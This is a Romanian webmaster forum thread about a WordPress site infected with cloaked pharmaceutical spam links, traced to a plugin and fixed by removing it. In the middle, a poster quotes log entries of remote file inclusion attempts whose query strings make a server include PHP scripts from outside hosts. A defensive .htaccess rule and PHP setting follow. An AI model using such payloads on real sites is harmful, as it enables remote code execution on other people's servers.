Site infectat

In primul rand, nu stiu daca am pus threadul in locul corect. Imi cer scuze daca am gresit si cer unui moderator sa il mute unde ii e locul.
am un site pe platforma wordpress, care daca ma uit in cache la google, il vad cu vreo 100-200 de linkuri in header. Linkurile sunt de forma unei noi pagini wordpress domeniu.com/?ceva/ Si sunt indexate de google. Am cautat in cache, sunt texte la medicamente si alte porcarii, fara nicio reclama...habar n-am ce sens au. Ideea e ca, paginile alea nu am reusit sa le vad niciodata, iar vizitele pe care le primesc din google pt cautarile la medicamentele alea, redirecteaza spre index, ca si cum nu ar exista pagina.
http://209.85.129.132/search?q=cache...ient=firefox-a asa arata cachele google-ului.
Eu nu am reusit sa le vad niciodata acele pagini, ceea ce ma duce cu gandul ca e un cloacking si asta ar insemna ca acele pagini exista chiar si acum pe site-ul meu. Prima masura care am luat-o a fost sa schimb hostingul, si fisierele site-ului, exceptand wp-contents . Am asteptat sa isi reimprospateze google cachele, am adaugat content, backlins, si parea ca isi revine incet incet site-ul in google, iar vizitele pe paginile fantoma erau tot mai rare. Cu toate astea insa, acum 2 zile google si-a reimprospatat cachele, si linkurile sunt tot in header...

Stie cineva unde ar fi vulnerabilitatea ? sau daca a mai avut cineva vreo problema asemanatoare... Eu am cautat peste tot si in baza de date. Acolo clar nu sunt stocate.

Cred ca a fost ceva pus de cei de la hosting.....iar in privinta cache-ului de la google mie mi s-a intamplat sa oscileze o saptamana intre site-ul vechi si cel nou....

Hostigul e de la namecheap.... Ma gandesc ca e firma serioasa. Ce ar avea de castigat.... ? :(

Sincer nu vreau sa fiu categoric in privinta hosting-ului......era doar o idee.....gandindu-ma ca aveai varianta WP actualizata si ca n-ar fi putut sa fie virusat.....dar in privinta google cache mi s-a intamplat sa oscileze o saptamana...

Stati relax nu e de la host,in majoritatea cazurilor nu e hostul de vina ci voi sunteti.

Nu prea bate la ochi ca genul asta de "virus" apare doar pe wordpress?
Ati instalat pluginuri de unde va taiat capul si acuma platiti.

Citat:

---

Postat în original de deadworldisee

Stati relax nu e de la host,in majoritatea cazurilor nu e hostul de vina ci voi sunteti.

Nu prea bate la ochi ca genul asta de "virus" apare doar pe wordpress?
Ati instalat pluginuri de unde va taiat capul si acuma platiti.

---

Ce-ar fi sa nu ne mai dam asa despti cand habar n-avem despre ce este vorba.
Am avut acelasi virus ca el si culmea : am fost pe acelasi host.
Site-urile nu aveau pluginuri comune in afara de akismet si all in one.

cei de la host nu au nici o vina

sunt virusii care iau user si pass de pe pc-ul infectat , pe urma acceseaza ftp-ul si face injectii de cod in surse

Citat:

---

Postat în original de dcosmin83

cei de la host nu au nici o vina

sunt virusii care iau user si pass de pe pc-ul infectat , pe urma acceseaza ftp-ul si face injectii de cod in surse

---

N-am zis ca e de vina hostul. Ci incerc sa gasesc o solutie... Nu inteleg de ce imi sari la gat. In fine..

Citat:

---

Postat în original de dcosmin83

cei de la host nu au nici o vina

sunt virusii care iau user si pass de pe pc-ul infectat , pe urma acceseaza ftp-ul si face injectii de cod in surse

---

Si am avut amandoi acelasi virus?
Presupunand ca a venit unul dintre noi 2 cu virusul, de ce nu au fost infectate celelalte 40 de site-uri?
Totusi cred ca si cristi ar dori sa stie daca i s-a mai intamplat cuiva asta, daca a rezolvat-o si daca da, cum?
Si eu am crezut ca este sql injection, ma uitasem prin tot codul site-ului si prin baza de date. Apoi le-am cerut ajutorul celor de la hosting si ... n-au identificat nici ei problema. Asta inseamna ca nu e ceva chiar asa de obisnuit cum cred unii. A genera peste 15.000 pagini care sa fie indexate de google, apoi sa apara cu not found, nu stiu cat este de usor. Iar ritmul este alert.

Eu am incercat si pe forumul Wordpress si nici de acolo n-a stiut nimeni.

bai danielu ca fapt divers sunt mai destept ca tine.
Si sa faci ceva care sa fie indexat in Google si tie sa iti dea not found chiar e usor....

Unde te-a dus gandu....sql injection.....

Citat:

---

Postat în original de deadworldisee

bai danielu ca fapt divers sunt mai destept ca tine.
Si sa faci ceva care sa fie indexat in Google si tie sa iti dea not found chiar e usor....

Unde te-a dus gandu....sql injection.....

---

OK. Cum o pot gasi ? Sau cum pot repara ?

In primul rand instalezi User Agent Switcher pentru Firefox -> Googlebot, ca sa vezi in timp real modificarile pe care le faci.
Nu iti ramane decat sa iei la "puricat" fisierele, in special cele din wp-content.
Search in file nu stiu daca ajuta mult, e posibil sa fie generate de la vreun URL criptat.

N-ar strica sa schimbi si parolele de la FTP/Wordpress.

Citat:

---

Postat în original de kis

In primul rand instalezi User Agent Switcher pentru Firefox -> Googlebot, ca sa vezi in timp real modificarile pe care le faci.
Nu iti ramane decat sa iei la "puricat" fisierele, in special cele din wp-content.
Search in file nu stiu daca ajuta mult, e posibil sa fie generate de la vreun URL criptat.

N-ar strica sa schimbi si parolele de la FTP/Wordpress.

---

Parolele le-am schimbat deja, dar tare ma tem ca de degeaba momentan, pana nu curat tot. O sa instalez acum ce mi-ai recomandat.

eu raman la parerea mea: hostingul a fost nesigur. Am patit si eu cu namecheap-ul ceva de genul asta si-mi aparea un <iframe> ciudat in toate index.php-urile, header.php si footer.php de pe server. Am schimbat hostingul, am instalat cele mai noi versiuni de la toate scripturile si am avut grija sa verific toate index.php-urile in parte [un joomla are peste 400 de index.php-uri si au fost MUULTE site-uri cu CMS-ul respectiv pe server]. Dupa ce-am curatat tot, am urcat bazele de date, scripturile curate pe noul hosting si de atunci nu mai e nici o problema...

Cu google cache uita-te din webmaster tools, ca le poti scoate din cache de acolo dar url cu url. Webmaster tools => tools => Remove URLs => Cached copy of a Google search result Remove the cached copy and description of a page that is either outdated or to which you've added a noarchive meta tag.

Citat:

---

Postat în original de Nosfer

Cu google cache uita-te din webmaster tools, ca le poti scoate din cache de acolo dar url cu url. Webmaster tools => tools => Remove URLs => Cached copy of a Google search result Remove the cached copy and description of a page that is either outdated or to which you've added a noarchive meta tag.

---

Cred ca are vreo 5-10k de scos url cu url :))
Chiar daca in cache apar 1200 ele sunt mai multe si cum dispar unele apar altele. Smart virus :)

Citat:

---

Postat în original de kis

In primul rand instalezi User Agent Switcher pentru Firefox -> Googlebot, ca sa vezi in timp real modificarile pe care le faci.
Nu iti ramane decat sa iei la "puricat" fisierele, in special cele din wp-content.
Search in file nu stiu daca ajuta mult, e posibil sa fie generate de la vreun URL criptat.

N-ar strica sa schimbi si parolele de la FTP/Wordpress.

---

Esti un inger :) Se pare ca era de la porcaria de plug in holly dolly, care a venit preinstalat cu versiunea 2.5 daca nu ma insel. Habar n-am cum era exploatat, insa cert e ca dupa ce l-am sters au disparut porcariile alea.

Multumesc ;)

Deci am avut dreptate ca e de la wordpress si nu host.....

Nosfer chestia cu iframe se cheama trojan iframe/trojan clicker.E un virus pe calcul tau care infecteaza fisierele cu nume index.In momentul cand ai deschisa o conexiune ftp/sftp iti viruseaza si acele fisiere de pe host.

Daca te uiti, eu n-am zis niciodata ca ar fi de la host ;)

Tocmai mi-am instalat plug in-ul http://www.wpwp.org/
si am aruncat o provire peste spideri si alte porcarii si am gasit ceva extrem de ciudat:

Cod PHP:

---

http://www.pariuri.org/?autoLoadConfig9990autoType=include&autoLoadConfig9990loadFile=http://www.cohul.net/chid.txt???
http://www.pariuri.org/?option=com_contact&Itemid=3//index.php?autoLoadConfig9990autoType=include&autoLoadConfig9990loadFile=http://www.cohul.net/chid.txt??? 


---

iar la fisierul ala txt este un cod php... Pentru mine e prima data cand ma lovesc de asemenea porcarii... N-am observat nicio modifcare la site dupa asta... posibil sa fi esuat in ceea ce a vrut sa faca. Poate sa imi spuna cineva ce a vrut sa faca, sau ce a facut?

legat de parolele ftp , generati o parola din cpanel sa fie cat mai complicata din > 12 carcatere

momentan aceasta este una dintre cele mai mari pb online la care nu s-a gasit o solutie clara

avita salvarea parolelor in softurile de conectare la ftp

Nah, nu stie nimeni despre ce este vorba in linkurile pe care le-am dat in postul anterior?

@cristi: Codurile alea sunt legate de Joomla zic eu deci nu ai de ce sa iti faci griji.

pot sa blochez din .htacces sa se acceseze orice link care se termina cu .txt ? sau care contine .txt . Sau ce alte solutii ar fi pt asa ceva ? Ma gandesc ca or fi si pentru wordpress

Citat:

---

Postat în original de cristi

Nah, nu stie nimeni despre ce este vorba in linkurile pe care le-am dat in postul anterior?

---

A crezut ca ai joomla si a incercat sa exploateze o vulnerabilitate a componentei de contact. Tu cum ai wp evident ca nu a reusit.

Probabil ca le ia la rand, si e un fel de "bulk hack" :)) Totusi, revin cu intrebarea, pot sa blochez din .htacces sa fie blocat orice url care contine un fisier .txt ?

La fel cum blochezi si imaginile pentru hotlinking probabil.
Dar in cazul tau nu are rost pentru ca acel fisier txt nu se afla la tine pe server.

Cod PHP:

---

?autoLoadConfig9990autoType=include&autoLoadConfig9990loadFile=http://www.vwo-campus.net/echo.txt??? 


---

http://www.vwo-campus.net/echo.txt

Din ce imi dau seama, codul asta preia ceva informatii... Stie cineva despre ce este vorba? Deja am creat o telenovela cu threadul asta, dar n-as vrea sa mai patesc o data ce am patit, si caut si eu solutii...

Nu exista autoLoadConfig in WP. Din cate imi amintesc era la un oscommerce asa ceva.
Interesant scriptul btw :) Ai acces la shell_exec / server dedicat?

Incearca sa pui codul de mai jos in fisierul .htaccess :

Cod:

---

<IfModule mod_rewrite.c>
  RewriteEngine on
  RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*)
  RewriteRule ^(.+)$ - [env=rfi:true]
</IfModule>

---

sau in index.php :

Cod:

---

ini_set('allow_url_include', 0);

---